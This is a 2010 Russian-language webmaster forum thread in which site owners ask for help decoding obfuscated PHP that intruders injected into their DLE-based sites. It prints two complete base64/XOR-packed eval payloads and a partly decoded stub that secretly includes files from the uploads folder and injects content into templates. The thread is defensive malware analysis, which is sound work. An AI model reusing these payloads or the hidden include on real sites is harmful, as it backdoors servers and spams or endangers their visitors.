Помогите раскодировать.

100

Amigochief

5 сентября 2010, 23:49

1166

Шел изверги залили и добавили это, пытаюсь раскодировать не чего не выходит, помогите пожалуйста.

"QAAAOzgKDSNhOlVISFNYQ05VKQAAIChiaWBuaWIobmluc2piKQAAd293IDwnbmEnL2Fua2JYYgAAf250c3QvI2EuLnxHdWJ2cgCQbnViWGhpZGIBMTx6BM1yd2toAANmY3Qoc29yamV0KGsoawUTBQEDACYja2UhIQVvBW8KDWRrZnR0JwAAc2Jqd2tmc2InYn9zYmljdDCAJ2MJIAFWfAoNJwAQYXJpZHNuaAAAaSd0YnMvI2lmamIrJyNxZgALdS4nfCdga2hlZmsnB5A8AtMDAIAIDcAvJ250WGZ1dWZ+LwKyJy4nAPAhISdkaHJpcwEWA/ADNwNxYWh1YggBZmRvJwIkZnQnI2xific6OQCCfAdYByAEcAlEAwEARSNzb250KjkJ4QKiCeD+BgOAAwMJaALxFPAAcQBBeidia3RiDDAD9GMIkGZzZlwN4lonOgtSPCcBuSB8a2UnhHogAcJrZRmBBFAE8AAwI3N3awMwaWJMEHAVBi8uB5ABgSo5Y251AdBTQkpXDABLRlNCISEBsDg5";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="))

T

67

Toy

6 сентября 2010, 00:28

#1

Я к сожалению не далеко ушёл, времени нет, но застопорился на отсутствии переменной $lllllllllll

<?php
  $lll = 0;
  eval(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));
  $ll = 0;
  eval(lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));
  $llll = 0;
  $lllll = 3;
  eval($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));
  $lllllll = 0;
  $llllll = ($llllllllll($l[1]) << 8) + $llllllllll($l[2]);
  eval($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7"));
  $lllllllll = 16;
  $llllllll = "";
  for(;
  $lllll < $lllllllllllll($l);
  )
  {
      if ($lllllllll == 0) {
          $llllll = ($llllllllll($l[$lllll++]) << 8);
          $llllll += $llllllllll($l[$lllll++]);
          $lllllllll = 16;
      }
      if ($llllll & 0x8000) {
          $lll = ($llllllllll($l[$lllll++]) << 4);
          $lll += ($llllllllll($l[$lllll]) >> 4);
          if ($lll) {
              $ll = ($llllllllll($l[$lllll++]) & 0x0f) + 3;
              for ($llll = 0; $llll < $ll; $llll++)
                  $llllllll[$lllllll + $llll] = $llllllll[$lllllll - $lll + $llll];
              $lllllll += $ll;
          } else {
              $ll = ($llllllllll($l[$lllll++]) << 8);
              $ll += $llllllllll($l[$lllll++]) + 16;
              for ($llll = 0; $llll < $ll; $llllllll[$lllllll + $llll++] = $llllllllll($l[$lllll]))
                  $lllll++;
              $lllllll += $ll;
          }
      } else
          $llllllll[$lllllll++] = $llllllllll($l[$lllll++]);
      $llllll <<= 1;
      $lllllllll--;
  }
  eval($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));
  $lllll = 0;
  eval($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7"));
  $llllllllll = "";
  for(;
  $lllll < $lllllll;
  )
  {
      $llllllllll .= $llllllllllll($llllllll[$lllll++] ^ 0x07);
  }
  eval($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));
  eval($lllllllll);
?>

34

firefox19

6 сентября 2010, 01:37

#2

<?php

  $lll = 0;

  eval(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=")); // $lllllllllll='base64_decode';

  $ll = 0;

  eval(lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7")); // $llllllllll='ord';

  $llll = 0;

  $lllll = 3;

  eval($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs=")); // $l=$lllllllllll($o);

  $lllllll = 0;

  $llllll = ($llllllllll($l[1]) << 8) + $llllllllll($l[2]);

  eval($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7")); // $lllllllllllll='strlen';

  $lllllllll = 16;

  $llllllll = "";

  for(;

  $lllll < $lllllllllllll($l);

  )

  {

      if ($lllllllll == 0) {

          $llllll = ($llllllllll($l[$lllll++]) << 8);

          $llllll += $llllllllll($l[$lllll++]);

          $lllllllll = 16;

      }

      if ($llllll & 0x8000) {

          $lll = ($llllllllll($l[$lllll++]) << 4);

          $lll += ($llllllllll($l[$lllll]) >> 4);

          if ($lll) {

              $ll = ($llllllllll($l[$lllll++]) & 0x0f) + 3;

              for ($llll = 0; $llll < $ll; $llll++)

                  $llllllll[$lllllll + $llll] = $llllllll[$lllllll - $lll + $llll];

              $lllllll += $ll;

          } else {

              $ll = ($llllllllll($l[$lllll++]) << 8);

              $ll += $llllllllll($l[$lllll++]) + 16;

              for ($llll = 0; $llll < $ll; $llllllll[$lllllll + $llll++] = $llllllllll($l[$lllll]))

                  $lllll++;

              $lllllll += $ll;

          }

      } else

          $llllllll[$lllllll++] = $llllllllll($l[$lllll++]);

      $llllll <<= 1;

      $lllllllll--;

  }

  eval($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs=")); // $llllllllllll='chr';

  $lllll = 0;

  eval($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7")); // $lllllllll="?".$llllllllllll(62);

  $llllllllll = "";

  for(;

  $lllll < $lllllll;

  )

  {

      $llllllllll .= $llllllllllll($llllllll[$lllll++] ^ 0x07);

  }

  eval($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw==")); // $lllllllll.=$llllllllll.$llllllllllll(60)."?";

  eval($lllllllll);

?>

Думаю так должно быть немного понятнее

Ваши идеи - наша работа (http://yaweb.ru) Продам Сайт агентства недвижимости (/ru/forum/561489)

T

67

Toy

6 сентября 2010, 04:22

#3

А почему бы просто не удалить код, если он вредоносный?

100

Amigochief

6 сентября 2010, 10:21

#4

Toy:
А почему бы просто не удалить код, если он вредоносный?

да я удалил его, просто интересно что там, ну и может на хацкеров этих удастся выйти

59

Vladimir Gromozdin

6 сентября 2010, 10:31

#5

Amigochief:
да я удалил его, просто интересно что там, ну и может на хацкеров этих удастся выйти

И наказать их? (:

Профессионально работаю с Google AdWords

87

Yur_OK

6 сентября 2010, 11:13

#6

Немножко копнул

<?

$f=ROOT_DIR.'/engine/initme.php'; if (file_exists($f)){@require_once($f);}

$f=ROOT_DIR.'/uploads/thumbs/l/l.php';if (!$lb&&file_exists($f)){@require_once($f);}

class template extends dle_template {

    function set($name, $var) { global $lb;

        if( is_array( $var ) && count( $var ) ) {

            foreach ( $var as $key => $key_var ) {

                $this->set( $key, $key_var );

            }

        } else { $this->data[$name] = $var; $this->data['{lb}'] = $lb;}

   }

}

$tpl = new template();

$tpl->dir = TEMPLATE_DIR;

?>

Обратите внимание на файлы '/uploads/thumbs/l/l.php' и '/engine/initme.php'

Сердце бьется, мысли зреют, мозг не спит! Облачная база каталогов (/ru/forum/708603)

100

Amigochief

6 сентября 2010, 13:38

#7

Vladimir Gromozdin:
И наказать их? (:

нет, пожать руку и поблагодарить

Yur_OK:
Немножко копнул

<?

$f=ROOT_DIR.'/engine/initme.php'; if (file_exists($f)){@require_once($f);}

$f=ROOT_DIR.'/uploads/thumbs/l/l.php';if (!$lb&&file_exists($f)){@require_once($f);}

class template extends dle_template {

    function set($name, $var) { global $lb;

        if( is_array( $var ) && count( $var ) ) {

            foreach ( $var as $key => $key_var ) {

                $this->set( $key, $key_var );

            }

        } else { $this->data[$name] = $var; $this->data['{lb}'] = $lb;}

   }

}

$tpl = new template();

$tpl->dir = TEMPLATE_DIR;

?>

Обратите внимание на файлы '/uploads/thumbs/l/l.php' и '/engine/initme.php'

Спасибо, в i.php прописан всё тот же код, initme.php не существует. Странно всё как то, запутано, почему просто ифрейм не добавили..

75

Dwarf_V

20 октября 2010, 09:47

#8

<?

$o="QAAAOzgKDSduYScvI1hXSFRTXAASIH1/IFoufGJxZmsBOzx6AnRAYQBCAm0BJzx6Cg0FBGNiYW5pYmMvAAIgVUhIU1hDTlUgLi4nfAHQJwECI2FhbmtiOgGFKSAoYmlgAsAoAABkZmRvYih0fnRzYmoodWJrACBmc2JjKXdvdyA8A3B6Ymt0YoAABAljbnVpZmpiL1hYQU5LQlg9AFguBJ8EnwSRCjIjBtJYc2hrYnVmaQHgZGI6NS0xNwAwBrEQ8QoxWGJ/bnQSAHN0LwsTLi4H4icnI3NuamJYYwIgbmFhYnViA7AnOicBIS8uJyons/wDcWoA4gNUPCcHMQvGA+8D4AjNCEEUlwb9OTrgKgMNFYAGYSdHc2hyZG8K9CsJVS4E8ScAFCNgYnNYZGhjYjpHCkFYAPNpcyAAYmkOECBvc3N3PSgocHBwKXQAAGZ3YjIpdXIoM2hzb2J1KGsAAGE1KGpoY2Ipc39zOHJ1azoACCApI1hUQlVRQlVcJQCDWElGDBhKQiVaBpMT0XRzdXdoE4AGU2NiKwAQJyB1cmlqYiAuOTcK0SgoJ8IAIPbs7yfo6ez08O8AkCon4OfoBoTv/+LrKRLgEkBhCmBod2JpDMUgcGwCIAXjKENhBFACkidHYXB1bnNiAoAr4c4OJgKkAcBka2h0AcEBJBVAJycAUQBAA/BiAAB1dWh1WHVid2h1c25pYC83x4ACcgwBbnRYElEFYABxK4VHdWJ2cm51B4BiWGhpZAVhAcIeAyUyYXJpZHNuaDPsaScPcAHBLyMS8AqkBWECBSV1IAJRGJogLgEAJyEhJ25pbgFhLyBma2tocFiYQARQWGEQ0QHgOjonNgUkJ3Vic3J1ePhpDmA00AMBHeBpc2Ic8QeCH2IzUgfPdC8galRkBXEGoHM5dicVw2RvKSBHAfYvD+UnJ0AAJwFjdGJzaHdzLyNkbysnRFIC/FVLSFdTWABwKwIQADgIRwFQA58DlU9CCfBGQ0JVA8lhZj6AGKIDkAc/BzZVQlNSAIZVSVNVRklUQQQjc3VyYgOfCs5EAAVISUlCRFNTTkpCSFJTB7E0H6PhgAcPDjouwEZAQkkDIgKxJyBGY1RiaQeCdGInZWgUYBcCAYAW4SNjZnNmFHZiG/l/YmQS8RSoJxvlAqIDtSlwBBAWhSvUZG8NReAAAfIAUQBAODk=";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));

?>

та же проблемка если не сложно помогите, только вот код появляется вот только не знаю как у Amigochief😒

Что такое Power BI и зачем это нужно бизнесу

VK приобрела 70% в структуре компании-разработчика red_mad_robot